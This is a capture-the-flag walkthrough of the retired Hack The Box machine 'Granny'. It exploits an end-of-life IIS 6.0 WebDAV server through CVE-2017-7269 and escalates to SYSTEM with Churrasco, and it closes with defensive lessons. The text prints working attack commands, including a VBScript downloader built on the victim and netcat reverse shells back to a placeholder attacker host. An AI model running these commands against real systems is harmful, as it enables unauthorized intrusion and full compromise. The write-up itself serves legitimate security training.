root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat granny.md
// writeups

Granny

12 Apr 2017 · 10 min read
Granny - maquina de Hack The Box

Executive summary — Granny is Grandpa's sibling: an end-of-life IIS 6.0 with WebDAV enabled is vulnerable to CVE-2017-7269, a stack buffer overflow that gives remote code execution as NETWORK SERVICE with nothing more than a crafted HTTP request. From there, the SeImpersonatePrivilege token held by that service account is abused with Churrasco (MS09-012, token kidnapping) to become NT AUTHORITY\SYSTEM. We solve it with the manual PoC and by hand-carrying every escalation tool onto a machine that has no download utilities of its own. A WebDAV RCE → NETWORK SERVICE → SYSTEM path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.12.209

Attack map

[80] Microsoft IIS 6.0 · WebDAV (PROPFIND/PUT/MOVE/DELETE enabled)
   │  CVE-2017-7269 — WebDAV stack overflow (manual PoC, port 4444)
   ▼
[SHELL]  NT AUTHORITY\NETWORK SERVICE
   │  whoami /priv → SeImpersonatePrivilege: Enabled
   │  build wget.vbs on the victim · serve tools over python http.server:8000
   ▼
[TRANSFER]  nc.exe + churrasco.exe land on C:\temp
   │  listener on 5555 FIRST · churrasco.exe -d "nc.exe -e cmd.exe ..."
   │  MS09-012 Token Kidnapping (Churrasco abuses SeImpersonate)
   ▼
[SYSTEM]  NT AUTHORITY\SYSTEM

1. Reconnaissance

We start with a version-detection scan against the target:

nmap -sV -vvv -Pn -oN granny.nmap 10.129.12.209
80/tcp open  http  Microsoft IIS httpd 6.0

A single web port, and an IIS version that's been end-of-life for over a decade. That alone is worth investigating further, so we check exactly which HTTP methods the server accepts:

nmap --script=http-methods -p80 10.129.12.209
http-methods:
  Supported Methods: OPTIONS TRACE GET HEAD DELETE COPY MOVE
                      PROPFIND PROPPATCH SEARCH LOCK UNLOCK PUT

Why this matters: PROPFIND, PUT, MOVE and DELETE are not part of a normal static web server — they're the fingerprint of WebDAV, an extension that lets clients create, move and delete files on the server over HTTP. An IIS 6.0 box with WebDAV switched on is a strong, specific signal: it's exactly the combination targeted by CVE-2017-7269.

2. Foothold — CVE-2017-7269 (IIS 6.0 WebDAV RCE)

CVE-2017-7269 is a stack buffer overflow in the WebDAV service of IIS 6.0 (httpext.dll), triggered by an oversized If: header inside a PROPFIND request. It was exploited in the wild since 2016 before Microsoft and the public disclosure caught up in 2017 — by then IIS 6.0 was already unsupported, so no patch was ever going to ship for most installs. We use the well-known public PoC for it:

wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/exploit.py

A common trap: grabbing the exploit from the regular GitHub page (instead of the raw.githubusercontent.com URL) downloads an HTML "404: Not Found" page, not the script. Always sanity-check what actually landed on disk:

head exploit.py

It has to show Python source, not an HTML error page. With the exploit confirmed, we open our listener first and then trigger the overflow:

nc -lvnp 4444
python2.7 exploit.py 10.129.12.209 80 <ATTACKER_IP> 4444

Why python2.7 and not python2: on a pyenv-managed Kali, the bare python2 alias may not exist even though the interpreter itself is installed under its full version name. Worth checking with which python2.7 before assuming the exploit is broken. Also, IIS 6.0's WebDAV service is genuinely fragile under this overflow — an occasional HTTP/1.1 500 Internal Server Error with no callback is normal and usually just means resetting the box and firing again with the listener already up.

When it lands, the listener catches a shell:

Microsoft Windows [Version 5.2.3790]
c:\windows\system32\inetsrv>
whoami
nt authority\network service

Foothold confirmed. Before going further we check what that service account is actually allowed to do:

whoami /priv
SeImpersonatePrivilege   Enabled

Why this is the whole game: SeImpersonatePrivilege lets its holder impersonate the security token of another user context that connects to it — the exact primitive that token-kidnapping / "potato" style exploits abuse to jump straight to SYSTEM. Seeing it enabled on a low-privilege service account is the signal to go looking for MS09-012.

3. Staging the escalation tools

Windows Server 2003 ships with no PowerShell, no certutil, and no built-in way to pull a file over HTTP — so before we can run Churrasco we have to build our own downloader on the victim itself, out of a cscript-compatible VBScript:

mkdir C:\temp
cd C:\temp
echo Set xHttp = CreateObject("Microsoft.XMLHTTP") > wget.vbs
echo Set bStrm = CreateObject("Adodb.Stream") >> wget.vbs
echo xHttp.Open "GET", WScript.Arguments(0), False >> wget.vbs
echo xHttp.Send >> wget.vbs
echo With bStrm >> wget.vbs
echo .Type = 1 >> wget.vbs
echo .Open >> wget.vbs
echo .Write xHttp.responseBody >> wget.vbs
echo .SaveToFile WScript.Arguments(1), 2 >> wget.vbs
echo End With >> wget.vbs

On our own box, we fetch nc.exe and churrasco.exe and serve them over a plain HTTP server:

wget https://raw.githubusercontent.com/int0x33/nc.exe/master/nc.exe
wget https://raw.githubusercontent.com/Re4son/Churrasco/master/churrasco.exe
python3 -m http.server 8000

Then, from the victim's shell, we pull both binaries through the VBScript we just wrote:

cscript wget.vbs http://<ATTACKER_IP>:8000/nc.exe nc.exe
cscript wget.vbs http://<ATTACKER_IP>:8000/churrasco.exe churrasco.exe

Verify, don't assume: the HTTP server log on our side must show 200 for both files (a 404 means they weren't in the folder we served from). On the victim, dir should show nc.exe at roughly 38 KB and churrasco.exe at roughly 31 KB — a 300–400 byte file is an HTML error page saved with an .exe extension, not a real binary, and Churrasco will silently fail to run.

4. Escalation to SYSTEM — Churrasco (MS09-012)

Churrasco automates the MS09-012 token kidnapping technique: it abuses the SeImpersonatePrivilege already confirmed on NETWORK SERVICE to grab and impersonate a SYSTEM-level token, then launches an arbitrary command inside that impersonated context. As with the initial exploit, the listener has to exist before we trigger it — launching Churrasco against a closed port is the single most common way this step silently "does nothing":

nc -lvnp 5555
churrasco.exe -d "C:\temp\nc.exe -e cmd.exe <ATTACKER_IP> 5555"

The second listener catches a new shell:

whoami
nt authority\system

SYSTEM confirmed — full compromise.

5. Flags

cd "C:\Documents and Settings\Lakis\Desktop"
type user.txt

cd "C:\Documents and Settings\Administrator\Desktop"
type root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
ReconnaissanceIIS 6.0 WebDAVDangerous HTTP methods exposed (PROPFIND/PUT/MOVE/DELETE)Confirms WebDAV attack surface
FootholdIIS 6.0 WebDAV (httpext.dll)CVE-2017-7269 — stack buffer overflow via oversized If: headerRCE as NETWORK SERVICE
PrivEscWindows Server 2003 service tokenMS09-012 Token Kidnapping (SeImpersonatePrivilege) via ChurrascoSYSTEM

Lessons learned

  • End-of-life software is a standing RCE. IIS 6.0 with WebDAV enabled has a known, weaponized overflow (CVE-2017-7269); retiring unsupported services isn't optional hygiene, it's the difference between a scan and a shell.
  • Enumerate HTTP methods, not just versions. nmap --script=http-methods surfaced PROPFIND/PUT before any exploit ran — that's the tell that should send you looking for WebDAV-specific CVEs.
  • Always verify what you downloaded, on both ends. GitHub 404 pages, mismatched file sizes (a real nc.exe is ~38 KB, not 300 bytes), and HTTP server logs are cheap, fast ways to catch a broken transfer before you waste time debugging a tool that never actually arrived.
  • Open the listener before you trigger anything that calls back. Both the initial exploit and Churrasco fail silently — not loudly — if nothing is listening on the target port.
  • SeImpersonatePrivilege on a service account is a SYSTEM ticket waiting to be cashed (Churrasco, and later the entire "Potato" family). Service accounts should run with the least privilege they actually need.